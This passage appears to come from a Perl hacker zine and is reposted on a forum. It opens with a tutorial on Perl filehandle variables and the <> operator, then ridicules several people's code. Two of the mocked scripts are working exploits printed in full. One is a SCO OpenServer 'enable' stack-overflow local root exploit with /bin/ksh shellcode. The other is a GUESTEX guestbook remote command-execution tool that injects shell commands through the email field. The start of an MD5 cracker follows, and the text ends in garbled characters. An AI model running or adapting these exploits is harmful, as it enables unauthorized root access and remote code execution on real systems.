exposed to the variables. I&#39;m sure before you learned how to use $_, your code was a lot more
verbose; but once you embrace that default variable, code like

for my $line (@lines) {
  chomp $line;
  my @fields = split /=/, $line;
  for my $f (@fields) { $f =~ s/->/: /; }
  # ...
}
became code like

for (@lines) {
  chomp;
  my @fields = split /=/;
  for (@fields) { s/->/:/ }
  # ...
}
It&#39;s the same with these other variables.
While We&#39;re Being Lazy...
There&#39;s no variable that symbolizes the default filehandle to print to -- if you print() with no
filehandle mentioned, Perl assumes you mean to print to STDOUT.

Well, not necessarily. The default output handle can be changed. Its default value is STDOUT, but
you can change that with the select() function:

print "to stdout\n";
my $oldfh = select MOD;
print "to mod\n";
select $oldfh;
print "to stdout\n";
Assuming you start out with STDOUT as your default output handle, the code runs as is described.
The select() function (in the single argument form) takes a filehandle, sets it as the default, and
returns the previously select()ed filehandle.

You can call select() with no arguments, and it will merely return the current default filehandle
(as an information source).
Huffering, Puffering, and Buffering
Another useful filehandle variable is $| the autoflush variable. This variable is unique for each
filehandle -- output to STDERR is flushed automatically, but output to STDOUT is not. This variable
is a true boolean -- it either holds a true value (which gets stored as 1) or a false value (which
gets stored as 0).

Buffering is the process of storing output until a certain condition is reached (such as a newline
is encountered). When a buffer is flushed, its contents are emptied. Where do they go? Well, to the
filehandle proper. A buffer is a temporary holding location between the process generating the
output and the place the output will appear.

Like I said, each filehandle has its own buffer control. To set the autoflush variable for a given
filehandle, you have to use select(), or the standard IO::Handle module&#39;s autoflush method.

# turn on autoflushing for OUT
{
  my $old = select OUT;
  $| = 1;
  select $old;
}

# another way, using IO::Handle
use IO::Handle;
autoflush OUT 1;
The IO::Handle module offers many helpful methods for filehandles (which are internally objects of
the IO::Handle class). You might want to see what else it has to offer that you might want to use.

You can make your own per-filehandle variables via the Tie::PerFH module, available on CPAN.
Obfuscorner
In the evil Perl spirit of "there&#39;s more than one way to do it", there&#39;s an obfuscated way to turn
on autoflushing for a filehandle. It combines the three lines (save the old handle, set $|, restore
the old handle) into one:

select((select(OUT), $|=1)[0]);
The dissection of this code is as follows:
select(OUT) makes OUT the default handle and returns the previous handle
$| = 1 sets autoflush to true, after the select(OUT) has been executed
(select(OUT), $|=1)[0] is a list slice -- it takes the first element of the list (select(OUT),
$|=1), which is the value returned by select(OUT) (the previous filehandle)
select(...) makes that value the default filehandle -- and what is ...? it&#39;s the first element of
the list (described above)
Delightfully icky!

Another trick is to take advantage of the fact $| is always either 0 or 1. If it&#39;s 0, and you
subtract 1, -1 is transformed into 1. Subtracting 1 again gives you 0 again. Thus, $|-- is a
builtin flip-flop!

# alternate indenting and not indenting lines
for (@data) {
  print "  " x $|--;
  print "$_\n";
}
This doesn&#39;t work with $|++... can you see why?
The Magic of <>
The final mystery revealed is a lengthy one. We all know we can read input via <STDIN>. But what
about the mysterious empty diamond operator, <>? What does it do, and how can we interact with its
magic?

The empty diamond operator is related to @ARGV, $ARGV, the ARGV filehandle, the ARGVOUT filehandle,
and $^I. You probably know one of these (@ARGV) already. The others will soon be made clear. First
here&#39;s a sample program:

#!/usr/bin/perl -w

# inplace.pl ext code [files]
# ex: inplace.pl .bak &#39;$_ = "" if /^#/&#39; *.pl

use strict;

$^I = shift;
my $code = shift;

while (<>) {
  eval $code;
  print;
}
All the following symbols are strict-safe.
@ARGV
the list of command-line arguments to your program
when using <>, Perl uses these arguments as sources of input (so you can read from "ls |"!)
if the array is empty to begin with, Perl puts "-" in there, which means "read from STDIN"
when a file is being read, it is removed (shift()ed) from the array
$ARGV
this holds the input source currently begin read from
ARGV
this is the filehandle opened, using $ARGV
ARGVOUT
if $^I is not undef, this is the output filehandle being printed to
it is select()ed automatically
$^I
this is the in-place editing backup extension variable, and can be set from the command-line via
the -i switch
if this isn&#39;t undef, the loop will read from ARGV and write to ARGVOUT
if it contains the "*" character, the value is not an extension, but the new name of the file (so
if modifying foo.txt and $^I is "old-*", the backup file is old-foo.txt)
Knowing this, our code can be written rather explicitly. You&#39;re about to see why Perl is so nice to
you.

#!/usr/bin/perl -w

use strict;

my $ext = shift;
my $code = shift;

@ARGV = &#39;-&#39; unless @ARGV;

FILE:
while (defined($ARGV = shift)) {
  my $backup;

  # if we&#39;re not working with STDIN...
  if ($ARGV ne &#39;-&#39;) {
   # get backup filename
   if ($ext =~ /\*/) { ($backup = $ext) =~ s/\*/$ARGV/ }
   else { $backup = "$ARGV$ext" }

   # try renaming file
   rename $ARGV => $backup or
    warn("Can&#39;t rename $ARGV to $backup: $!, skipping file.") and
    next FILE;
  }

  # with STDIN, there&#39;s no real backup done
  else { $backup = &#39;-&#39; }

  open ARGV, "< $backup" or
   warn("Can&#39;t open $backup: $!") and
   next FILE;

  # if we&#39;re not dealing with STDIN,
  # but $backup is $ARGV, we&#39;re doing real
  # in-place editing, so we use a Unix trick:
  #  * open the file for reading
  #  * unlink it
  #  * open the file for writing
  # this is a miracle, but it fails in DOS :(

  if ($backup ne &#39;-&#39; and $backup eq $ARGV) {
   unlink $backup or
    warn("Can&#39;t remove $backup: $!, skipping file.") and
    next FILE;
  }

  open ARGVOUT, "> $ARGV" or
   warn("(panic) Can&#39;t write $ARGV: $!, skipping file.") and
   next FILE;

  while (<ARGV>) {
   eval $code;
   print ARGVOUT;
  }

  close ARGVOUT;
  # note: we don&#39;t close ARGV!
}
Aren&#39;t you glad Perl does all that hard work for you?

Now that you know about these symbols, you can use some of them to your advantage. Here&#39;s a bit of
code that prints each line of input with the source and the line number in front of it. Notice,
though, that since the code that Perl uses never closes ARGV, the $. variable never gets reset to
0. That means the line count keeps increasing:

while (<>) {
  print "$ARGV ($.): $_";
}
If we have two files, a.txt and b.txt whose contents are "abc\ndef\nghi\n" and "jkl\nmno\n"
respectively, this program outputs:


a.txt (1): abc
a.txt (2): def
a.txt (3): ghi
b.txt (4): jkl
b.txt (5): mno
Now, what if we want the line number to be reset for each new file? We need to be able to detect
the end of the file. We can do that with the eof() function! There are two ways we can use the
function for detecting the end of each input:

while (<>) {
  print "$ARGV ($.): $_";
  close ARGV if eof;  # reset $.
}

# or

while (<>) {
  print "$ARGV ($.): $_";
  close ARGV if eof(ARGV);  # reset $.
}
If you don&#39;t use any parentheses, and don&#39;t send an argument, Perl will check the last filehandle
read from. If you send an argument, it checks that filehandle. "But japhy! What about eof()?" you
ask? Well, that&#39;s a very special case. If you want to know when you&#39;ve reached the end of all the
input, you can use eof():

while (<>) {
  print "$ARGV ($.): $_";
  print "==end==\n" if eof();  # after ALL data
}
Lazy Loops
In addition to the -i switch, Perl offers switches like -n and -p, which construct loops around the
source of your code:

perl -ne &#39;print if /foo/&#39; files
# becomes
perl -e &#39;while (<>) { print if /foo/ }&#39; files

perl -pe &#39;s/foo/bar/&#39; files
# becomes
perl -e &#39;while (<>) { s/foo/bar/ } continue { print }&#39; files
You can use -p with -i to write a simple one-liner file editor:

# keep backups
perl -pi.bak -e &#39;s/PERL/Perl/g&#39; files

# don&#39;t keep backups
perl -pi -e &#39;s/PERL/Perl/g&#39; files
Why do you think you have to say -pi -e, and can&#39;t use -pie?
References
Using files:
open(): perldoc -f open
close(): perldoc -f close
select(): perldoc -f select
eof(): perldoc -f eof
overview: perldoc perlopentut
File-specific variables:
$/, $\, $|, $,, $.: perldoc perlvar
chomp(): perldoc -f chomp
the IO::Handle module: perldoc IO::Handle
<> magic:
the -i, -n, and -p switches: perldoc perlrun

-[0x05] # prdelka&#39;s cameo ------------------------------------------------

# This is a very boring and straight-forward script to ridicule.
# However, we had a personal request for prdelka.
# prdelka sticks to what he knows, and his code is a bit elusive these days.
# Perl Underground always seeks to please.

#!/usr/bin/perl

# This is almost strict compliant.
# Push yourself to new heights and learn to use it!

# SCO Openserver 5.0.7 enable exploit
# ===================================
# A standard stack-overflow exists in the handling of
# command line arguements in the &#39;enable&#39; binary. A user
# must be configured with the correct permissions to
# use the "enable" binary. SCO user documentation suggests
# "You can use the asroot(ADM) command. In order to grant a
# user the right to enable and disable tty devices". This
# exploit assumes you have those permissions.
#
# Example.
#
# $ id
# uid=200(user) gid=50(group) groups=50(group)
# $ perl enablex.pl
# # id
# uid=0(root) gid=50(group) egid=18(lp) groups=50(group)
#
# - prdelka

# The intense complexities of this program demanded an example.

my $buffer;
$buffer .="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
# .= is unneeded when the variable has no original contents to add to.
$buffer .="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
# my $buffer = "\x90" x 52;
# Save some effort.

$buffer .="\x90\x90\x90\x90\x90\x90\x90\x90\x68\xff\xf8\xff\x3c\x6a\x65\x89\xe6\xf7\x56\x04\xf6\x16";
$buffer .="\x31\xc0\x50\x68";
$buffer .="/ksh";
$buffer .="\x68";
$buffer .="/bin";
$buffer .="\x89\xe3\x50\x50\x53\xb0\x3b\xff\xd6";
for($i = 0;$i <= 7782;$i++)
# for (0 .. 7782) { }
{
      $buffer .= "A";
# $buffer .= &#39;A&#39; x 7782; # To skip your loop entirely!
}

$buffer .= "\x3f\x60\x04\x08";

# my $buffer = "\x90" x 52 . "\x68\xff\xf8\xff\x3c\x6a\x65\x89\xe6\xf7\x56\x04\xf6\x16\x31\xc0\x50\x68"
#      . "/ksh\x68/bin\x89\xe3\x50\x50\x53\xb0\x3b\xff\xd6" . &#39;A&#39; x 7782 . "\x3f\x60\x04\x08";

system("/tcb/bin/asroot","enable",$buffer);
# You are free to add spacing between your parameters, or any other applicable place as suits your aesthetics.

# You used 20 lines of comments for what was essentially a two statement script.
# You spread those two statements into 15 awkward lines.

-[0x06] # School You: mauke ----------------------------------------------

#line 2 "unip.pl"
use strict;
use Irssi ();

our $VERSION = &#39;0.03&#39;;
our %IRSSI = (
   authors => &#39;mauke&#39;,
   name => &#39;unip&#39;,
);

use 5.008;
use Encode qw/decode encode_utf8/;
use Unicode::UCD &#39;charinfo&#39;;

sub unip {
   my @pieces = map split, @_;
   my @output;
   for (@pieces) {
      $_ = "0x$_" if !s/^[Uu]\+/0x/ and /[A-Fa-f]/ and /^[[:xdigit:]]{2,}\z/;
      $_ = oct if /^0/;
      unless (/^\d+\z/) {
        eval {
           my $tmp = decode(length > 1 ? &#39;utf8&#39; : &#39;iso-8859-1&#39;, "$_", 1);
           length($tmp) == 1 or die "`$_&#39; is not numeric, conversion to unicode failed";
           $_ = ord $tmp;
        };
        if ($@) {
           (my $err = $@) =~ s/ at .* line \d+.*\z//s;
           push @output, $err;
           next;
        }
      }
      my $utf8r = encode_utf8(chr);
      my $utf8 = join &#39; &#39;, unpack &#39;C*&#39;, $utf8r;
      my $x;
      unless ($x = charinfo $_) {
        push @output, sprintf "U+%X (%s): no match found", $_, $utf8;
        next;
      }
      push @output, "U+$x->{code} ($utf8): $x->{name} [$utf8r]";
   }

   join &#39;; &#39;, @output
}

Irssi::command_bind(
   unip => sub {
      my ($data, $server, $witem) = @_;
      $server->command("echo " . unip $data);
   },
);
Irssi::command_bind(
   sunip => sub {
      my ($data, $server, $witem) = @_;
      $witem->command("say " . unip $data);
   },
);

-[0x07] # (K-)sPecial boy ------------------------------------------------

# Now the question of the hour, will this get rm&#39;d when someone posts it to .aware public ftp?

# K-sPecial is a rapid and effective coder. He also completely lacks formal Perl learning
# He&#39;s learned piece by piece, but has missed much and could benefit from some reeducation
# He makes it work, and knows a lot of tricks
# but this code is new, and all your virtues won&#39;t save you from a little rubbing this time

# no shebang line?
# I guess you fill your pound quota below

## Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
## Name: GUESTEX-exec.pl
## Date: 06/07/2006
## Version: 1.00
##  1.00 (06/07/2006) - GUESTEX-exec.pl created
##
## Description: GUESTEX guestbook is vulnerable to remote code execution in how it
##  handles it&#39;s &#39;email&#39; parameter. $form{&#39;email&#39;} is used when openning a pipe to
##  sendmail in this manner: open(MAIL, "$sendmail $form{&#39;email&#39;}) where $form{&#39;email&#39;}
##  is not properly sanitized.
##
## Usage: specify the host and location of the script as the first argument. hosts can
##  contain ports (host:port) and you CAN specify a single command to execute via the
##  commandline, although if you do not you will be given a shell like interface to
##  repeatedly enter commands.
#######################################################################################

# definitely POD worthy commenting
# you might find POD liberating, lets you rant on even more

use IO::Socket;
use strict;

my $host = $ARGV[0];
my $location = $ARGV[1];
my $command = $ARGV[2];
my $sock;
my $port = 80;
my $comment = $ARGV[3] || "YOUR SITE OWNS!\n";
# keep them in a nice order, or do it in a straight bunch

if (!($host && $location)) {
   die("-!> perl $0 <host[:port]> <location> [command] [comment]\n");
}

$port = $1  if ($host =~ m/:(\d+)/);
# chuckle

while (1) {
   my $switch = 0;
   if (!($ARGV[2])) {
      print &#39;guestex-shell$ &#39;;
      chomp($command = <STDIN>);
   }

   my $cmd = ";echo --1337 start-- ;$command; echo --1337 end--";
   $cmd =~ s/(.)/sprintf("%%%x", ord($1))/ge;

   my $POST = "POST $location HTTP/1.1\r\n"                .
          "Host: $host\r\n"                            .
        "User-Agent: mozilla\r\n"                      .
          "Content-type: application/x-www-form-urlencoded\r\n"    .
        "Content-length: " . length("surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd") . "\r\n" .
        "Referer: $host\r\n\r\n";
   
   $POST .= "surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd";
   
# couldn&#39;t you have done "my $sock = ... " here, instead of defining it way up there?
   $sock = IO::Socket::INET->new(&#39;PeerAddr&#39; => "$host",
# what the hell. Why is that quoted? WHY? JUST FOR THE HELL OF IT? YOU KNOW BETTER
                       &#39;PeerPort&#39; => $port,
                       &#39;Proto&#39;   => &#39;tcp&#39;,
               &#39;Type&#39;    => SOCK_STREAM) or die ("-!> unable to connect to &#39;$host:$port&#39;: $!\n");

   $sock->autoflush();

   print $sock "$POST"; # AGAIN!

   #$switch = 1; # used for debugging if you think &#39;echo&#39; might not be working, etc
   
   while (my $line = <$sock>) {
      if ($line =~ m/^\-\-1337\ start\-\-$/) {
# this is what eq is for
# if ($line eq &#39;--1337 start--&#39;) {
        $switch = 1;
        next;
      }
# be fun! one-line the whole block!
# or can you figure out how? ;]
      if ($line =~ m/^\-\-1337\ end\-\-$/) {
        close($sock);
        last;
      }
      print $line if $switch;
   }
   exit if $ARGV[2];
# you assigned it, let it go, let it go free!!!
}

# Cheers captain. Sorry about xzziroz. it couldn&#39;t have happened to a nicer guy
# take this article in stride, as you handled the ZF0/xzziroz issue.

-[0x08] # School You: McDarren -------------------------------------------

#!/usr/bin/perl -w
#
# pmgoogle.pl
# Generates compressed KMZ (Google Earth) files
# with placemarks for Perlmonks monks
# See: earth.google.com
#
# Darren - July 2006

use strict;
use XML::Simple;
use LWP::UserAgent;
use Storable;
use Time::HiRes qw( time );

my $start = time();
say("$0 started at ", scalar localtime($start));

# Where everything lives
my $monkfile = &#39;/home/mcdarren/scripts/monks.store&#39;;
my $kmlfile = &#39;/home/mcdarren/temp.kml&#39;;
my $www_dir = &#39;/home/mcdarren/var/www/googlemonks&#39;;
my $palette_url = &#39;http://mcdarren.perlmonk.org/googlemonks/img/monk-palette.png&#39;;

my $monks;  # hashref
$|++;

# Uncomment this for testing
# Avoids re-fetching the data
#if (! -f $monkfile) {
   # Fetch and parse the XML from tinymicros
   $monks = get_monk_data();
   store $monks, $monkfile;
#}

$monks = retrieve($monkfile)
   or die "Could not retrieve $monkfile:$!\n";

# A pretty lousy attempt at abstraction :/
my %types = (
   by_level   => {
      desc      => &#39;By Level&#39;,
      outfile    => &#39;perlmonks_by_level.kmz&#39;,
      },
   by_name    => {
      desc      => &#39;By Monk&#39;,
      outfile    => &#39;perlmonks_by_monk.kmz&#39;,
      }
);

my @levels = qw(
   Initiate Novice Acolyte Sexton
   Beadle Scribe Monk Pilgrim
   Friar Hermit Chaplain Deacon
   Curate Priest Vicar Parson
   Prior Monsignor Abbot Canon
   Chancellor Bishop Archbishop Cardinal
   Sage Saint Apostle Pope
   );

# Create a reference to a LoL,
# which represents xy offsets to each of the
# icons on the palette image
# The palette consists of 28 icons in a 7x4 grid
my $xy_data = get_xy();

my @t = time();
print "Writing and compressing output files...";
for (keys %types) {
   open OUT, ">", $kmlfile
      or die "Could not open $kmlfile:$!\n";
   my $kml = build_kml($monks, $_);
   print OUT $kml;
   close OUT;

   write_zip($kmlfile, "$www_dir/$types{$_}{outfile}");
}

$t[1] = time();
say("done (", formatted_time_diff(@t), " secs)");

my $end = time();
say("Total run time ", formatted_time_diff($start, $end), " secs");
say("Total monks: ", scalar keys %{$monks->{monk}});
exit;

####################################
# End of main - subs below
####################################
sub say {
   # Perl Hacks #86
   print @_, "\n";
}

sub formatted_time_diff {
   return sprintf("%.2f", $_[1]-$_[0])
}

sub by_level {
   return $monks->{monk}{$b}{level} <=> $monks->{monk}{$a}{level}
   || lc($a) cmp lc($b);
}

sub by_name {
   return lc($a) cmp lc($b);
}

sub write_zip {
   my ($infile, $outfile) = @_;
   use Archive::Zip qw( :ERROR_CODES :CONSTANTS );

   my $zip = Archive::Zip->new();
   my $member = $zip->addFile($infile);
   return undef unless $zip->writeToFileNamed($outfile) == AZ_OK;
}

sub build_kml {
   # This whole subroutine is pretty fugly
   # I really wanted to do it without an if/elsif,
   # but I couldn&#39;t figure out how

   my $ref = shift;
   my $type = shift;
   my $kml = qq(<?xml version="1.0" encoding="UTF-8"?>
      <kml xmlns="http://earth.google.com/kml/2.1">
      <Folder>
      <name>Perl Monks - $types{$type}{desc}</name>
      <open>1</open>);

   if ($type eq &#39;by_level&#39;) {
      my $level = 28;
      $kml .= qq(<Folder><name>Level $level - Pope</name><open>0</open>\n);
      for my $id (sort by_level keys %{$ref->{monk}}) {
        my $mlevel = $ref->{monk}{$id}{level};
        if ($mlevel < $level) {
           $level = $mlevel;
           my $level_name = $levels[$level-1];
           $kml .= qq(</Folder><Folder><name>Level $level - $level_name</name><open>0</open>\n);
        }
        $kml .= mk_placemark($id,$mlevel);
      }
      $kml .= q(</Folder>);
   }
   elsif ($type eq &#39;by_name&#39;) {
      my @monks = sort by_name keys %{$ref->{monk}};
      my $nummonks = scalar @monks;
      my $mpf = 39; # monks-per-folder
      my $start = 0;

      while ($start < $nummonks) {
        my $first = lc(substr($monks[$start],0,2));
        my $last = defined $monks[$start+$mpf]
              ? lc(substr($monks[$start+$mpf],0,2))
              : lc(substr($monks[-1],0,2));
        $kml .= qq(<Folder><name>Monks $first-$last</name><open>0</open>\n);
        MONK:
        for my $cnt ($start .. $start+$mpf) {
           last MONK if !$monks[$cnt];
           my $monk = $monks[$cnt];
           my $mlevel = $ref->{monk}{$monk}{level};
           $kml .= mk_placemark($monk,$mlevel);
        }
        $start += ($mpf + 1);
        $kml .= q(</Folder>);
      }
   }
   $kml .= q(</Folder></kml>);
   return $kml;
}

sub mk_placemark {
   my $id = shift;
   my $mlevel = shift;
   my $p;
   $p = qq(
   <Placemark>
      <description>
      <![CDATA[
        Level: $mlevel<br \\>
        Experience: $monks->{monk}{$id}{xp}<br \\>
        Writeups: $monks->{monk}{$id}{writeups}<br \\>
        User Since: $monks->{monk}{$id}{since}<br \\>
        http://www.perlmonks.org/?node_id=$monks->{monk}{$id}{id}
        ]]>
      </description>
      <Snippet></Snippet>
      <name>$id</name>
      <LookAt>
        <longitude>$monks->{monk}{$id}{location}{longitude}</longitude>
        <latitude>$monks->{monk}{$id}{location}{latitude}</latitude>
        <altitude>0</altitude>
        <range>10000</range>
        <tilt>0</tilt>
        <heading>0</heading>
      </LookAt>
      <Style>
        <IconStyle>
           <Icon>
              <href>$palette_url</href>
              <x>$xy_data->[$mlevel-1][0]</x>
              <y>$xy_data->[$mlevel-1][1]</y>
              <w>32</w>
              <h>32</h>
           </Icon>
        </IconStyle>
      </Style>
      <Point>
        <coordinates>$monks->{monk}{$id}{location}{longitude},$monks->{monk}{$id}{location}{latitude},0</coordinates>
      </Point>
   </Placemark>
   );

   return $p;
}

sub get_xy {
   # This returns an AoA, which represents xy-offsets
   # to each of the monk level icons on the image palette
   my @xy;
   for my $y (qw(96 64 32 0)) {
      for my $x (qw(0 32 64 96 128 160 192)) {
        push @xy, [ $x, $y ];
      }
   }
   return \@xy;
}

sub get_monk_data {
   my $monk_url = &#39;http://tinymicros.com/pm/monks.xml&#39;;
   my @t = time();
   print "Fetching data....";

   my $ua = LWP::UserAgent->new();
   my $req = HTTP::Request->new(GET=>"$monk_url");
   my $result = $ua->request($req);
   return 0 if !$result->is_success;
   my $content = $result->content;
   $t[1] = time();
   say("done (", formatted_time_diff(@t), " secs)");

   print "Parsing XML....";
   my $monks = XMLin($content, Cache => &#39;storable&#39;);
   $t[2] = time();
   say("done (", formatted_time_diff(@t[1,2]), " secs)");
   return $monks;
}

-[0x09] # Random Noob: Qex -----------------------------------------------

# Qex, where&#39;s the foreplay?
# no shebang line, no modules, nothing.
# you&#39;re an unready and unprotected virgin.

print "\n QBrute v1.0 \n";
print " By Qex \n";
print " qex[at]bsdmail[dot]org \n";
print " www.q3x.org \n\n";
print "1) Calculate MD5.\n";
print "2) Crack MD5.\n";

# heredocs or just quote it all

my $cmd;
print "Command: ";
$cmd = <STDIN>;

# its ok, you are new. chomp(my $cmd = <STDIN>);

if ($cmd > 2) {
    print "Unknown Command!\n";
    }

# elsif?
if ($cmd == 1) {
    use Digest::MD5 qw( md5_hex );
   #it isn&#39;t that intensive, you could just use it anyways!
    my $md5x;
    print "\nView MD5 Hash Of: ";
    $md5x = <STDIN>;
    chomp($md5x);
   # same trick as above...
    print "Hash is: ", md5_hex("$md5x"), "\n\n";
   # always with the quoting....
    }
if ($cmd == 2) {
# no longer lexical? what about the range operator? what about qw?
# this feels so WRONG
@char = (й&#39;,&#39;

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题